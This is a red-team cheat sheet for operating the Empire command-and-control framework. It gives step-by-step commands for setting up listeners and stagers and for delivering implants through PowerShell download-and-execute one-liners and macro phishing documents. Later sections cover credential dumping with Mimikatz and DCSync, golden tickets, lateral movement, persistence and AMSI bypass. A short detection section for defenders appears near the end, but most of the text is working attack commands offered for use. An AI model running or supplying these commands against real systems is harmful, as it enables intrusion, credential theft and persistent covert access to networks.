Legend:
[SERVER]= Run on Empire C2 server |[CLIENT]= Run in Starkiller / Empire CLI |[AGENT]= Run inside active agent session |[HOST]= Run on attacker host OS
1. What is Empire
What it means: Empire is an open-source, post-exploitation C2 framework maintained by BC-Security, originally built around a pure-PowerShell Windows agent and merged with the Python-based EmPyre project. Modern Empire (v4/v5) supports PowerShell, Python 3, C#, and IronPython agents, and is operated through a REST API server with a GUI client called Starkiller or via the built-in CLI.
Attacker Machine (Empire Server + REST API)
│
│ ← HTTP(S) / SMB / OneDrive / Dropbox / Malleable profiles
│
Victim Machine (Agent — PowerShell/Python/C#/IronPython)
Empire vs Sliver / Cobalt Strike
| Feature | Empire | Sliver | Cobalt Strike |
|---|---|---|---|
| Cost | Free / Open Source | Free / Open Source | ~$5,000/yr license |
| Core language | Python (server), PowerShell/C#/Python (agents) | Go | Java |
| GUI client | Starkiller | Console only | Aggressor client |
| Comms | HTTP/S, SMB, OneDrive, Dropbox, Malleable | HTTP/S, mTLS, DNS, WG, Pipes | HTTP/S, DNS, SMB |
| Extensibility | Modules (Python-based) | Armory (aliases/extensions) | BOFs / Aggressor scripts |
| Detection | Well-signatured, widely studied | Growing AV coverage | Heavily signatured |
Key Concepts
| Term | Meaning |
|---|---|
| Listener | Server-side handler waiting for agent callbacks |
| Stager | Small piece of code that retrieves and loads the full agent |
| Agent | The implant running on the victim (PowerShell/Python/C#/IronPython) |
| Module | Post-exploitation script/tool run against an agent |
| Starkiller | Official Electron-based GUI client for Empire |
| Malleable Profile | Traffic-shaping config to mimic legitimate traffic (Cobalt Strike compatible) |
2. Setting Up Empire
What it means: Empire uses a server/client architecture. The server (ps-empire) runs the
REST API and listeners; Starkiller (GUI) or the built-in CLI connects to it as a client.
2.1 Install Empire Server
# Clone the official BC-Security repo (recursive for submodules)
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
# Run the install script
sudo ./ps-empire install -y
# Kali Linux — pre-packaged
sudo apt install powershell-empire
# Docker
docker pull bcsecurity/empire:latest
docker run -it bcsecurity/empire:latest
2.2 Start the Server
# Start the Empire server (also starts REST API + Starkiller port)
./ps-empire server
# Reset the database (recommended after upgrades)
./ps-empire server --reset
# Start with custom credentials
./ps-empire server --username empireadmin --password 'StrongPass123!'
# Run headless (no interactive console)
./ps-empire server --headless
Default credentials (set in config.yaml, change before real engagements):
Username: empireadmin
Password: password123
2.3 Connect via Starkiller (GUI Client)
# Download Starkiller AppImage
wget https://github.com/BC-SECURITY/Starkiller/releases/latest/download/starkiller-x.x.x.AppImage
chmod +x starkiller-*.AppImage
./starkiller-*.AppImage --no-sandbox
# Connect in the GUI using:
# URL: https://<SERVER_IP>:1337
# Username / Password from step 2.2
2.4 Connect via Built-in CLI
# List available stagers
./ps-empire client -s
# Interactive CLI menu (legacy-style)
./ps-empire client
2.5 Key File Locations
Install path: ./Empire/setup
Server config: ./Empire/empire/server/config
Agent downloads/logs: ./Empire/empire/server/downloads/<agent>/
C# reference projects: ./Empire/.../csharp/Covenant/Data/ReferenceSourceLibraries
Plugins: ./Empire/.../Plugins
TLS certs: ./Empire/empire/server/data
3. Listeners
What it means: A listener is the server-side handler that waits for agent check-ins. Empire supports multiple listener types for different network conditions and OPSEC needs.
3.1 Listener Types
| Listener | Purpose |
|---|---|
http |
Basic listener, supports TLS certs |
http_com |
Uses an Outlook COM object for data transfer |
http_hop |
Used for external redirectors |
http_foreign |
For agents that callback to a different C2 server |
http_malleable |
Malleable HTTP listener (Cobalt Strike profile compatible) |
dbx |
Dropbox listener |
onedrive |
OneDrive listener |
smb |
Used for internal pivoting (chains agents) |
port forward pivot |
Used for internal network pivoting |
3.2 Create a Listener (CLI)
[CLIENT] (Empire) > listeners
[CLIENT] (Empire: listeners) > uselistener http
[CLIENT] (Empire: listeners/http) > set Name test_listener
[CLIENT] (Empire: listeners/http) > set Host https://<SERVER_IP>
[CLIENT] (Empire: listeners/http) > set Port 443
[CLIENT] (Empire: listeners/http) > execute
3.3 Create a Listener (Starkiller GUI)
1. Click "Listeners" → "Create"
2. Choose type: http
3. Name: test_listener
4. Host: https://<SERVER_IP>
5. Port: 443
6. Submit
3.4 Generate HTTPS Certificate
./setup/cert.sh
# Cert saved to: ~/.local/share/empire/cert/empire.pem
# Set CertPath in listener options to enable HTTPS
3.5 Manage Listeners
[CLIENT] (Empire) > listeners
[CLIENT] (Empire: listeners) > kill test_listener
4. Stagers
What it means: A stager is a small bootstrap script/binary that pulls down and loads the full agent into memory. Empire implements many stager formats (bat, dll, macro, one-liner, etc.) tied to a specific listener and agent language.
4.1 Common Stager Types
windows/launcher_bat
windows/launcher_vbs
windows/launcher_sct
windows/macro
windows/dll
windows/hta
multi/bash
multi/pyinstaller
python/* (Python agent stagers)
csharp/* (C# agent stagers)
4.2 Generate a Stager (CLI)
[CLIENT] (Empire) > stagers
[CLIENT] (Empire: stagers) > usestager windows/launcher_bat
[CLIENT] (Empire: stagers/windows/launcher_bat) > set Listener test_listener
[CLIENT] (Empire: stagers/windows/launcher_bat) > set Language powershell
[CLIENT] (Empire: stagers/windows/launcher_bat) > generate
4.3 Generate a Stager (Starkiller GUI)
1. Click "Stagers" → "Generate Stager"
2. Type: windows/launcher_bat
3. Listener: test_listener
4. Language: PowerShell
5. Submit → Download from "Actions"
4.4 Curl Down a Payload (from an existing shell)
curl http://<SERVER_ADDRESS>/stager/download -o stager.bat
4.5 One-liner Stager Delivery
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<SERVER_IP>:80/launcher.ps1')"
5. Agents
What it means: An agent is the checked-in implant running on the victim. Empire supports PowerShell, Python 3, C#, and IronPython agents. Each agent gets a dedicated download/log folder on the server.
5.1 List and Interact with Agents
[CLIENT] (Empire) > agents
[CLIENT] (Empire: agents) > interact <AGENT_NAME>
5.2 Core Agent Commands
[AGENT] > sysinfo # host/OS info
[AGENT] > shell whoami /all # run a shell command
[AGENT] > shell hostname
[AGENT] > shell ipconfig /all
[AGENT] > ps # list processes
[AGENT] > jobs # list running module jobs
[AGENT] > sleep 60 10 # set delay/jitter
[AGENT] > kill # terminate agent
[AGENT] > rename <NEW_NAME> # rename agent
5.3 File Operations
[AGENT] > upload /local/path/tool.exe C:\\Temp\\tool.exe
[AGENT] > download C:\\Users\\bob\\secret.txt
5.4 Agent Logs / Downloads
Each agent gets: ./Empire/empire/server/downloads/<AGENT_NAME>/
agent.log — timestamped command/response history
<module_output>/ — output folders per module executed
5.5 Stale Agents
If an agent turns red in Starkiller, it has missed its check-in window
(sleep interval + jitter exceeded) and is currently unreachable.
6. Modules
What it means: Modules are Python-wrapped scripts/tools that Empire tasks to an agent — covering recon, credential access, privilege escalation, lateral movement, and persistence.
6.1 List and Search Modules
[CLIENT] (Empire: agents) > usemodule <TAB for autocomplete>
Starkiller GUI:
1. Go to Agents → Modules tab
2. Search/filter by category, OS, language
3. Click a module for description and options
6.2 Execute a Module (CLI)
[AGENT] > usemodule powershell/situational_awareness/host/winenum
[AGENT] (mod) > set Agent <AGENT_NAME>
[AGENT] (mod) > execute
6.3 Common Situational Awareness Modules
usemodule powershell/situational_awareness/host/winenum
usemodule powershell/situational_awareness/host/antivirusproduct
usemodule powershell/situational_awareness/network/powerview/get_domain_controller
usemodule csharp/situational_awareness/host/seatbelt
6.4 Fun / Demo Module
usemodule powershell/trollsploit/message
7. Initial Access — Delivery
What it means: Getting the stager onto a target host and executed for the first check-in.
7.1 Manual Delivery (if you have a shell)
[HOST] python3 -m http.server 8080
# Victim side
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/launcher.ps1')"
7.2 SMB / Impacket Delivery
[HOST] impacket-smbserver share /tmp/stagers -smb2support
[HOST] wmiexec.py lab.local/attacker:Pass123!@<TARGET_IP> \
"cmd.exe /c \\\\<ATTACKER_IP>\\share\\stager.bat"
7.3 Phishing Delivery (macro stager)
[CLIENT] usestager windows/macro
[CLIENT] set Listener test_listener
[CLIENT] generate
# Embed generated macro in a weaponized Office document
7.4 Validate Check-in
[CLIENT] (Empire) > agents
# New agent should appear once the stager executes on target
8. Privilege Escalation
What it means: After landing as a low-privileged user, escalate to local admin/SYSTEM.
# Check current privileges
[AGENT] > shell whoami /priv
[AGENT] > shell whoami /groups
# Bypass UAC
usemodule powershell/privesc/bypassuac
# Common local privesc checks
usemodule powershell/privesc/powerup/allchecks
# GetSystem-style token manipulation
usemodule powershell/privesc/getsystem
# Potato-style privesc (SeImpersonatePrivilege abuse)
usemodule csharp/privesc/godpotato
usemodule csharp/privesc/printspoofer
9. Credential Access
What it means: Extract credentials from memory, files, or the registry using Empire's Mimikatz-based and native credential modules.
# Mimikatz — full dump
usemodule powershell/credentials/mimikatz/logonpasswords
# Mimikatz — DCSync
usemodule powershell/credentials/mimikatz/dcsync
set Domain lab.local
set User krbtgt
# Dump SAM/LSA secrets
usemodule powershell/credentials/mimikatz/sam
# Extract browser-saved credentials
usemodule powershell/collection/browser_data
# Credential harvesting via fake prompt
usemodule powershell/collection/prompt
10. Domain Reconnaissance
What it means: Enumerate the domain structure — users, groups, computers, trusts — using Empire's built-in PowerView integration and situational awareness modules.
usemodule powershell/situational_awareness/network/powerview/get_domain_controller
usemodule powershell/situational_awareness/network/powerview/get_domain_user
usemodule powershell/situational_awareness/network/powerview/get_domain_computer
usemodule powershell/situational_awareness/network/powerview/get_domain_group_member
set Identity "Domain Admins"
usemodule powershell/situational_awareness/network/powerview/find_interesting_domainacl
usemodule powershell/situational_awareness/network/powerview/get_domain_trust
# BloodHound collection via C# SharpHound
usemodule csharp/situational_awareness/network/sharphound
set CollectionMethod All
11. Kerberos Exploitation
What it means: Run Rubeus-equivalent Kerberos attacks through Empire's C# module set.
# Kerberoasting
usemodule csharp/credentials/rubeus
set Command kerberoast
# AS-REP Roasting
usemodule csharp/credentials/rubeus
set Command asreproast
# Ticket dump
usemodule csharp/credentials/rubeus
set Command dump
# Pass-the-Ticket
usemodule csharp/credentials/rubeus
set Command "ptt /ticket:<base64_ticket>"
# Golden Ticket (after DCSync of krbtgt)
usemodule csharp/credentials/rubeus
set Command "golden /rc4:<KRBTGT_HASH> /domain:lab.local /sid:<DOMAIN_SID> /user:FakeAdmin /ptt"
Crack roasted hashes offline:
[HOST] hashcat -m 13100 kerberoast.hash rockyou.txt # TGS-REP
[HOST] hashcat -m 18200 asrep.hash rockyou.txt # AS-REP
12. Lateral Movement
What it means: Use valid credentials/tickets to move to other hosts and drop new agents.
# PsExec-style lateral movement module
usemodule powershell/lateral_movement/invoke_psexec
set ComputerName <TARGET_HOST>
set Listener test_listener
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
set ComputerName <TARGET_HOST>
set Listener test_listener
# SMB delivery + new agent execution
usemodule powershell/lateral_movement/invoke_executemsbuild
# Impacket-based (from attacker host, using stolen creds)
[HOST] wmiexec.py lab.local/Administrator:Pass123!@<TARGET_IP>
[HOST] psexec.py -hashes :<NTLM_HASH> lab.local/Administrator@<TARGET_IP>
13. Pivoting
What it means: Use a compromised host as a relay to reach otherwise unreachable segments.
# SMB listener for internal pivoting (chains agents)
[CLIENT] uselistener smb
[CLIENT] set Name pivot_listener
[CLIENT] execute
# Generate stager tied to the SMB pivot listener
[CLIENT] usestager windows/launcher_bat
[CLIENT] set Listener pivot_listener
[CLIENT] generate
# Port forward pivot listener (route traffic through an agent)
[CLIENT] uselistener port_forward_pivot
[CLIENT] set Agent <AGENT_NAME>
[CLIENT] set BindPort 8080
[CLIENT] execute
14. Persistence
What it means: Maintain access across reboots or session loss.
# Registry-based persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/elevated/schtasks
# WMI event subscription persistence
usemodule powershell/persistence/elevated/wmi
# Startup folder persistence
usemodule powershell/persistence/userland/startup
15. Evasion & AMSI Bypass
What it means: Reduce detection likelihood for PowerShell-based agents and modules.
# Built-in AMSI bypass module
usemodule powershell/management/amsi_bypass
# Use C# or Python agents instead of PowerShell to reduce AMSI exposure
usestager csharp/launcher_exe
usestager python/launcher_bash
# Malleable profile listener (mimic legitimate traffic / CS profile compatible)
uselistener http_malleable
set Profile <path_to_profile>
# Adjust sleep/jitter to reduce beacon regularity
[AGENT] > sleep 300 50
16. Detection of Empire
What it means: Empire is heavily studied by defenders — network and host signatures are well documented, making OPSEC discipline essential.
Network Indicators
| Protocol | Default Port(s) | Detection Indicator |
|---|---|---|
| HTTP/S | 80, 443, custom | Default URI patterns, User-Agent strings, self-signed certs |
| SMB | 445 | Named pipe patterns used for pivot listeners |
| Malleable | custom | Mimics legit traffic but can still be fingerprinted via JA3/JA3S |
Host-based Indicators
Process: powershell.exe with encoded/obfuscated -EncodedCommand arguments
Memory: Empire agent strings and known PowerShell reflection patterns
Logs: PowerShell ScriptBlock logging (Event ID 4104) capturing stager code
Registry: Persistence keys in Run/RunOnce if persistence modules used
Detection Commands (Blue Team)
# Check PowerShell operational logs for suspicious script blocks
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath "*[System[(EventID=4104)]]"
# Look for encoded PowerShell launches
Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match "-enc|-EncodedCommand" }
# Check for known Empire stager artifacts
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
Where-Object {$_.Message -match "powershell.exe"}
17. Master Cheat Sheet
Setup
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./ps-empire install -y
./ps-empire server --reset
./ps-empire server
Listener + Stager Quick Flow
uselistener http
set Name test_listener
set Host https://<SERVER_IP>
set Port 443
execute
usestager windows/launcher_bat
set Listener test_listener
generate
Agent Basics
agents
interact <AGENT_NAME>
sysinfo
shell whoami /all
upload /local/tool.exe C:\\Temp\\tool.exe
download C:\\Users\\bob\\secret.txt
Common Modules
powershell/situational_awareness/host/winenum
powershell/credentials/mimikatz/logonpasswords
powershell/credentials/mimikatz/dcsync
powershell/privesc/bypassuac
powershell/privesc/powerup/allchecks
powershell/lateral_movement/invoke_psexec
powershell/lateral_movement/invoke_wmi
csharp/credentials/rubeus
csharp/situational_awareness/network/sharphound
powershell/persistence/elevated/schtasks
powershell/management/amsi_bypass
Decision Tree
Got initial shell/phish success?
│
├── Set up listener (http/https/smb/malleable)
│
├── Generate matching stager
│ └── Deliver via phishing, SMB, or manual download
│
├── Agent checks in
│ └── Run situational awareness modules
│
├── Need higher privileges?
│ └── bypassuac / powerup / getsystem
│
├── Need credentials?
│ └── mimikatz / dcsync / browser_data
│
├── Need domain foothold?
│ └── powerview modules / sharphound
│
├── Need lateral movement?
│ └── invoke_psexec / invoke_wmi / impacket via stolen creds
│
└── Need to stay stealthy?
└── amsi_bypass, C#/Python agents, malleable profiles, jitter tuning